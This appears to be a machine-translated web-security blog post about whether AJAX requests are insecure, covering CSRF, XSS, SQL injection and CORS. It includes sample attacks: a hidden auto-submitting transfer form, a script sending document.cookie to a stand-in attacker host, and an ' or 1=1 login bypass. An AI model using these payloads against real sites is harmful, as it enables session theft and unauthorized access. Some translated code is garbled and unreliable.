Is AJAX requests really insecure? Let's talk about the relationship between Web security and AJAX.

Source: Internet
Author: User
Tags csrf attack

Is AJAX requests really insecure? Let's talk about the relationship between Web security and AJAX.

Opening question

  • Is AJAX requests really insecure?
  • Where is the AJAX request insecure?
  • How can I make AJAX requests safer?

Preface

A few days ago, the flood of attacks on AJAX and security risks on the Internet are endless. The following describes the relationship between Web security and AJAX in detail.

This article contains a lot of content, including AJAX, CORS, XSS, CSRF and so on. It takes some time to complete and understand the content.

In addition, the opinions are limited. If you have any improper descriptions, please help us to point them out in time.

Body starts...

From the front-end to the present, AJAX requests have repeatedly appeared at a very high frequency, and many problems encountered in AJAX have been solved, such as cross-origin debugging and error debugging.

From this perspective, we found a common phenomenon: Every time we connect to the background staff, they will mention That AJAX requests are not secure. Please use normal http requests!

Although in many cases, after a lot of complaints, the backend finally compromises and allows some qualified AJAX requests. However, I am struggling with the question: Is AJAX requests really insecure? Why didn't I find this problem when I wrote my own background?

As a result, I began to prepare materials and combine my existing cognition into a solution to analyze whether AJAX requests are really insecure? Where is security ?, If you encounter similar problems in the future, you will directly throw an article to the other party.

Outline

Is AJAX requests really insecure?

  • Where does AJAX fail?

Common Web front-end security problems

  • CSRF Overview
  • Relationship between CSRF and AJAX
  • XSS Overview
  • Relationship between XSS and AJAX
  • SQL Injection
  • Relationship between SQL injection and AJAX

Differences between AJAX and HTTP requests

Association between CORS and AJAX Security

  • Introduction to the relationship between CORS and AJAX
  • Why CORS configuration?
  • What information does CORS configure?
  • CORS Origin: * Security

Again, is the AJAX request really insecure?

Where is the AJAX request insecure?

How can I make AJAX requests safer?

Is AJAX requests really insecure?

First, let's make a conclusion: whether AJAX requests are secure depends on the server (backend ).

There is a saying: If a Web application has good security, then how to use "insecure AJAX" will not weaken its security. Otherwise, if the application itself has vulnerabilities, no matter what technical request is used, it is insecure.

Why is there such a saying? In Web applications, untrusted client input is a basic principle.

Where is AJAX insecure?

When AJAX appeared, the server was still the old one. Therefore, it was not considered that the frontend request method would become very complex after AJAX appeared, as a result, the previous security policies were unable to meet the requirements, resulting in a large number of background security vulnerabilities...

Obviously, it is because more security vulnerabilities are exposed after AJAX appears, which makes it very dangerous (because after AJAX appears, there are more request methods, previous architectures may have more vulnerabilities in new requests)

So, AJAX's insecure statements naturally spread to every corner.

Common Web front-end security problems

To know whether AJAX requests are secure, you must first know the security issues in the Web Front-end.

1. cross-site scripting (XSS)-> session forgery (CSRF Based on XSS)-> cookie hijacking-> malicious code execution 2. cross-site request forgery> User identity forgery (CSRF) 3. SQL injection... (others are not mentioned for the moment)

As mentioned above, the security issues in the Web Front-end are mainly those categories (only some of them are listed for analysis). Therefore, we must first analyze the relationship between AJAX and these categories. (XSS and CSRF are also described below .)

CSRF Overview

CSRF features simple: fraudulent use of user identities for malicious operations

Today, this security vulnerability has been thoroughly analyzed by people. Google and Baidu will find many explanations. Here we also use a diagram to briefly describe it:

(Note: The following is a reference to the description in the source article. Ghost refers to the post-repainting of the source post)

Therefore, we can see that the key conditions are:

1. Use cookies for user verification

2. log on to trusted website A and generate A Cookie locally.

3. Access dangerous website B without logging out of website

Generally, (4) malicious website (B) attack methods are as follows (must point to the address of A, otherwise the cookie cannot be carried ):

// 1. For example, sneak into the malicious transfer operation in the image resources in the website  // 2. construct malicious hidden forms and submit malicious requests through scripts <iframe style = "display: none; "name =" csrf-frame "> </iframe> <form method = 'post' action = 'HTTP: // www. bank. example/transfer 'target = "csrf-frame" id = "csrf-form"> <input type = 'den den 'name = 'tobankid' value = 'hello'> <input type = 'siden' name = 'amount 'value = '000000'> <input type = 'submit' value = 'submit '> </form> <script> document. getElementById ("csrf-form "). submit () </script>

In addition, from the beginning to the end, no cookie has been obtained by the attacked website, and is indirectly implemented through the browser (using the Web cookie implicit identity authentication mechanism). Therefore, HttpOnly will not affect this attack.

Finally, there are several common CSRF defense methods:

1. Verify the HTTP Referer field (very simple, but it is not very secure because the client is not trustworthy)

(To prevent CSRF, check that the Referer field is simple and direct, but it is completely dependent on the browser to send the correct Referer field.

Although the http protocol has clear provisions on the content of this field, it cannot guarantee the specific implementation of the visitor's browser, nor can it ensure that the browser does not have a security vulnerability to affect this field. Attackers may also attack Some browsers and tamper with their Referer fields .)

2. Add and verify the token in the request address

(For example, add a random token as a parameter in post)

Relationship between CSRF and AJAX

In the above text, we can see that the premise of CSRF is that cookie authenticates the user identity. Is it highly related to AJAX?

First, we analyze the situation of cookie verification in AJAX:

1. AJAX is restricted by the browser's same-source policy

2. AJAX cannot request cross-origin interfaces by default.

(Of course, you can configure 'access-Control-Allow-Origin: * 'in the background to Allow all cross-Origin requests)

3. AJAX requests cannot carry cross-origin cookies

(If withCredentials is forcibly enabled, the server must cooperate with the authentication service and cannot be used as an attack)

Hmm... when we see this, we can basically think that CSRF and AJAX requests are missing...

For example, assume that Part 1 of the request is initiated by AJAX. Assume that website A has allowed Access-Control-Allow-Origin: *, because website B is different from website, therefore, there is a cross-origin. Based on the same-origin policy, the request cannot carry cookies at all. Therefore, the request cannot pass identity authentication and the attack fails...
Even if withCredentials is forcibly enabled and carries cross-origin cookies, the server does not configure cross-origin cookies for website B separately (Access-Control-Allow-Credentials: true must be configured, in addition, Allow-Origin: *) cannot be set at this time, so the authentication must fail.

As you can see, even if Access-Control-Allow-Origin: * permits AJAX requests from all sources, cross-Origin cookies are still not carried by default and cannot be CSRF

Therefore, the conclusion is: CSRF has nothing to do with AJAX.

XSS Overview

Since CSRF has little to do with AJAX, should XSS have a lot to do with AJAX? (Otherwise, why do we always say that AJAX requests are insecure .). So proceed with this article (this article only applies to JS)

XSS (cross-site scripting), which seems to be more suitable for css... However, to distinguish it from a stacked style table, it is abbreviated as XSS.

XSS features can also be summarized as: Cross-origin Script Injection. Attackers inject malicious code to the webpage in some way, and other users will be attacked after they view the injected page content.

Compared with CSRF, XSS includes more content and is often combined with multiple attack forms. Here we will introduce several examples:

1. cookie hijacking

Similarly, there is a comment input on the page. After the input, it will be saved to the database in plain text because of background vulnerabilities and no special characters are filtered. Then, the plaintext data will be directly displayed when it is displayed on the webpage, as follows:

<% @ Page language = "java" contentType = "text/html; charset = UTF-8" pageEncoding = "UTF-8" %> <form action = "saveComment. jsp "method =" post "> enter the comment: <BR> <input name = "content" type = "text"> <input type = "submit" value = "OK"> </form>

After the attacker analyzes the information, enter

<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>

Save the article. Simple code. Because no script is filtered, other users will automatically send their cookie information to the attacker's server after logging on to the system.

Attackers can impersonate the cookie (for example, the session corresponding to the jsessionid) during its validity period.

It should be noted that the difference between this and CSRF is that the cookie is obtained and the cookie is assumed to be the user. However, CSRF does not know the cookie and uses the browser's implicit verification method to impersonate the user.

2. Session forgery

This is also an example of a comment vulnerability.

Attacker input (for example)

 

Then, the next story will be consistent with the one mentioned in CSRF. This is a CSRF Based on XSS, and some people like to call it XSRF.

It should be noted that the cookie is not obtained here, but the implicit authentication mechanism of the browser is used in CSRF to impersonate users.

3. Other Malicious Code Execution

In fact, the cookie hijacking and session forgery above are both malicious code execution. to distinguish between them, we specifically refer to the front-end rogue JS.

For example, the input in the previous comment can be:

For example, pop-up windows of web games that are prevalent on the market.

For example, you can simply make this page stuck.

For example, infinite loops.

Here, I will mention that the above are all from the front-end input as the entrance, but in fact there is a type of input that cannot be ignored, that is: Rich Text attacks.

It has the following features: scripts are injected in rich text, and the front and back ends are not filtered, resulting in direct output to the page.

Because there are many pages, rich text content is displayed on the webpage and not filtered (even today, there are still many pages), as long as there are injection scripts in Rich Text, it's basically a trick...

Conclusion:

As long as the executable script statements can be output to the page, there is a vulnerability and XSS attacks may occur.

In addition, the xss vulnerability is widely used. Although the attack type is passive and requires a lot of time analysis, it exists on a large number of websites (especially those that are not updated for a long time)

I would like to mention a little more. The above introduction is more about the cause, but in fact, if the attack is manual, it can be divided into several major types: reflected XSS attacks (directly through URL injection, in addition, many browsers provide their own defense), storage-type XSS attacks (injection when reading data stored in DB), and DOM-Based attacks.

The above examples are all stored files. For more details, please refer to the following figure.

How to Prevent XSS:

  • Input Filtering does not trust any user input. It filters "<", ">", "/", and other special characters that may cause script injection,

You can also filter script keywords such as "script" and "javascript", or restrict the length of input data. You must also consider how attackers can input scripts using hexadecimal encoding.

  • The output is encoded, similar to the input filtering, but starts from the output. when the data is output to the page, it is encoded by tools such as HtmlEncoder, so that no executable scripts can be output directly.
  • Set http-only for the cookie so that the cookie cannot be obtained using the script.

(In this way, the cookie field is included only when the browser initiates a request to the Web server, avoiding XSS attacks using the JavaScript document. cookie to obtain the cookie)

  • Cookie anti-theft. Avoid disclosing privacy in cookies, such as user names and passwords;

Or, to prevent replay attacks, you can bind the Cookie to the IP address, which can also prevent attackers from impersonating normal users.

  • Note that, especially in the background, the front-end input cannot be trusted and must be filtered and verified.

Relationship between XSS and AJAX

After analyzing some of the effects and problems caused by XSS, we still find that the relationship with AJAX is not big, because these problems will occur regardless of the use of AJAX.

Let's look at this situation, for example, in the above Rich Text injection:

1. AJAX interaction is used for an interface.

2. After the AJAX request is complete, the corresponding rich text field is displayed on the page-for example, innerHTML

However, this is really irrelevant to AJAX, which is caused by the absence of input/output filtering on the frontend and backend.

Therefore, if a Web application has good security, then how to use "insecure AJAX" cannot weaken its security. Otherwise, if the application itself has vulnerabilities, no matter what technical request is used, it is insecure.

SQL Injection

SQL Injection expansion will also be a great learning, and it has been a very popular (of course, now...) for a long time. Here are just a few of the most extreme examples.

The premise is that the background does not filter the front-end input data; otherwise, it cannot take effect.

Assume that there is A poor SQL injection vulnerability in the login query in page A. (the most extreme and silly case)

<% @ Page language = "java" contentType = "text/html; charset = UTF-8" pageEncoding = "UTF-8" %> <form action = "login. jsp "method =" post "> enter the user name and password: <BR> <input name = "name" type = "text"> <input name = "password" type = "text"> <input type = "submit" value = "Login "> </form>

After receiving the login request, the actual code executed by the server is:

String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";

However, some attackers have analyzed potential vulnerabilities in the background, attempted SQL injection attacks, and entered

name = ' or 1=1password = anything

In this way, after the background receives the data, the actual query result is

SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything'

Therefore, attackers can successfully bypass the username and use the background vulnerability to log on.

Of course, such low-level vulnerabilities do not exist anymore. This type of vulnerability often requires careful analysis and takes a long time. (Or an insider ...)

Relationship between SQL injection and AJAX

In the preceding example, we cannot see any relationship with AJAX. However, we can assume that:

1. There is an interface to receive AJAX post Data

2. There is a field 'name' in the data, which is not filtered after the background receives it. As shown in the preceding demo, the SQL statement is executed.

3. Therefore, if an illegal injection information is input to that field in AJAX, this vulnerability will be triggered and the attack will take effect.
Yes, it will happen in such extreme circumstances, and it has nothing to do with AJAX, because it is similar to any other request...

Therefore, the conclusion is: SQL Injection has nothing to do with AJAX.

Differences between AJAX and HTTP requests

In essence, AJAX is the HTTP request sent by the browser, but the browser adds a same-origin policy restriction.

The XMLHTTPRequest object in the AJAX request is open to JS to call HTTP requests.

What is the difference between AJAX and HTTP? List the following points:

  • AJAX requests are restricted by the browser's same-origin policy, and cross-origin issues exist.
  • When AJAX performs a complex request, the browser will issue an OPTIONS pre-check in advance (HTTP itself will not pre-check)
  • From the perspective of usage, AJAX is simpler to use, with less underlying details and more browser features (such as automatically carrying same-domain cookies)
  • Therefore, the difference from HTTP requests for authentication is that the browser is encapsulated once more (the browser will have its own preprocessing and add specific restrictions)

However, from the perspective of the final sent packets, the content is the same (HTTP standard content), and AJAX is a way to send HTTP requests.

Therefore, we can draw a conclusion from this point that AJAX is essentially the same as HTTP requests.

Association between CORS and AJAX Security

According to the content mentioned above, the association between AJAX and request insecurity is basically impossible. Then, continue the analysis. If CORS is used for security.

(Because ajax is often accompanied by CORS)

Introduction to the relationship between CORS and AJAX

This is a cross-origin sharing solution. The general process is as follows: (precheck for complex requests only-This part requires knowledge of CORS in advance)

1. An OPTIONS pre-check will be issued before the front-end AJAX request, and a bunch of related headers will be sent to the server.

2. When the server receives the pre-check, it checks whether the header, source, and other information are valid. If the information is valid, it then allows normal requests. Otherwise, it will reject the request relentlessly.

3. If the browser receives a message rejected by the server (response header check), a corresponding error is thrown.

Otherwise, it will be a normal response, and then a real request (such as POST) will be sent)

The header information of the request and response is roughly as follows:

Request Headers

// In CORS, the Origin information is used for back-end comparison, indicating the source domain. Origin: http: // xxxAccess-Control-Request-Headers: x-Requested-With // all headers set using the setRequestHeader method will be included in this header in a comma-separated form, generally, Access-Control-Request-Method: OPTIONS is included in a POST Request.

Response Headers

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, AcceptAccess-Control-Allow-Methods: GET, POST, OPTIONSAccess-Control-Allow-Origin: http://xxx

In the end, the request sent by the client must comply with the validation rules of the server before the server returns the correct header. Otherwise, the request will only fail. Cross-origin error is reported.

The above is only an introduction. For more information, refer to ajax cross-origin in the source. This should be the most comprehensive solution.

Why CORS configuration?

Due to the same-origin policy restrictions, AJAX cannot request cross-origin resources. CORS can solve the problem of cross-origin AJAX requests.

Therefore, in this article, CORS is configured only for cross-origin requests of AJAX.

What information does CORS configure?

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, AcceptAccess-Control-Allow-Methods: GET, POST, OPTIONSAccess-Control-Allow-Origin: http://xxx

As shown above, after this configuration is added, the request must meet the requirements. Otherwise, the request will be rejected. Generally, OPTIONS will be available for cross-origin AJAX, so this step is done in the pre-check.

As you can see, the key variable information is:Access-Control-Allow-Origin: http://xxx

This configuration is the domain name whitelist, specifying the domain name under which AJAX cross-origin requests can be performed.

CORS Origin: * Security

The key issue is that the above CORS configuration is as follows:

Access-Control-Allow-Origin: http://xxx

However, this configuration only allows access from specific domain names. Due to the complexity of the front-end, debugging is sometimes not very convenient, so sometimes it will be lazy:

Access-Control-Allow-Origin: *

This indicates that cross-origin AJAX requests from all sources can respond normally.

Next, let's analyze and set the Origin: * what problems may arise. (AJAX-based)

Question 1: will it affect cookie authentication?

No. Although * indicates that requests from all sources are normal, cross-origin Cookies cannot be carried in the same-origin policy. Therefore, authentication is not allowed at all.

In addition, even if you use withCredentials to forcibly bring cross-origin cookies, an error is reported because the backend does not support them. (This can be seen as the last line of defense of the CORSs Model)

In addition, even if Access-Control-Allow-Credentials is configured in the background to Allow cross-Origin cookies, the security policy at this time is that Origin is not allowed as * and must be a clear address.

(Otherwise, you will see the browser's error message-Origin is not allowed to be * When cross-Origin cookie is used *)

Question 2: What if the Origin header is forged?

First, you are not allowed to forge the code in a standard browser (unless there is a serious vulnerability), so it is generally necessary to simulate client request forgery.

However. In non-browser scenarios, there is no same-origin policy. Why...

Therefore, forgery of Origins does not have to do with CORS.

Question 3: What if there is a vulnerability in the background?

To make this assumption, assume that the user's network has an intranet server and is configured to allow all cross-origin requests: (of course, the Internet requests are not within the Intranet)

// Allow Access-Control-Allow-Origin for any cross-domain request :*

In addition, if the Intranet server happens to have sensitive resources and there is no additional fortification, it can be accessed through the Intranet. For example:

192.168.111.23/users.md

Then, the user accesses a malicious webpage, and all webpages such as HTML are downloaded to the local computer for execution. The webpage contains malicious code, which is directed to 192.168.111.23/users. the md requests resources and then sends the received server back to the attacker server.

(Because Origin is added as * and AJAX is sent from a local browser, users can download it to a local malicious website to access the background of the user's intranet)

Then the sensitive data is stolen.

But, this is because of a server vulnerability. Why do we need to place sensitive resources on the background when Origin is set? Normally, setting the Origin parameter is used as a public API.

More importantly, why are sensitive resources easily obtained? Why is there no secondary verification?

SO, the background itself has vulnerabilities, SO it can be attacked. AJAX is exactly one of the attack methods (in addition to AJAX, there will also be other methods), SO many pots are dumped on AJAX.

In this way, we can draw a conservative conclusion:

If the Origin is not *, AJAX requests do not have security issues. If it is *, AJAX may be used as an attack because of background vulnerabilities, leading to AJAX insecurity

Again, is the AJAX request really insecure?

Still the original conclusion:

If a Web application has good security, then how to use "insecure AJAX" cannot weaken its security. If the application itself has vulnerabilities, No matter what technical requests are used, it is not safe.

We can see that XSS, CSRF, and other hidden vulnerabilities are essentially problems caused by existing background vulnerabilities, AJAX is used as an attack method at most (or even some cannot be used)

When it comes to AJAX request security, for example, if Origin is configured in CORS: * in some extreme cases, AJAX attacks can be used. But in fact, this is also one of the attack methods. Without AJAX, it is still insecure.

For example, there is another saying: before AJAX appeared, security vulnerabilities are easy to detect, but AJAX is asynchronous, and security problems are more likely to occur implicitly... This is also unrelated to the nature of security.

Most importantly, from the perspective of Web Application Security, Web applications must never trust clients. So don't drop the pot on AJAX any more.

Where is the AJAX request insecure?

As mentioned above, AJAX does not have such security problems.

However, you must note that the CORS solution is used.

1. You can set specific values for Allow-Origin to filter specific whitelists.

2. For some public APIs, you can directly set Allow-Origin '*'

3. Of course, if you confirm that there are no such hidden vulnerabilities in the background, you can directly use '*'. After all, it is only for the same-source policy of the browser, and the impact is not that great.

How can I make AJAX requests safer?

It is still the conclusion repeatedly mentioned in this article:

To make the Web Background more secure, AJAX requests are also more secure, and vice versa, there are vulnerabilities in the background, no matter what the situation is, it is not safe.

Written at the end

In this case, we should be able to get rid of the insecure AJAX pot, right?

Appendix

References

  • Cross-Site Request Forgery
  • XSS
  • CSRF attack methods
  • XSS attacks and defense
  • XSS attacks on front-end security
  • Is AJAX really insecure?
  • How does AJAX ensure data security?
  • Web development FAQ
  • Security Analysis of cross-origin Resource Sharing (CORS)
  • Ajax cross-origin, which should be the most comprehensive solution

Summary

The above is all the content of this article. I hope the content of this article has some reference and learning value for everyone's learning or work. If you have any questions, please leave a message to us, thank you for your support.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.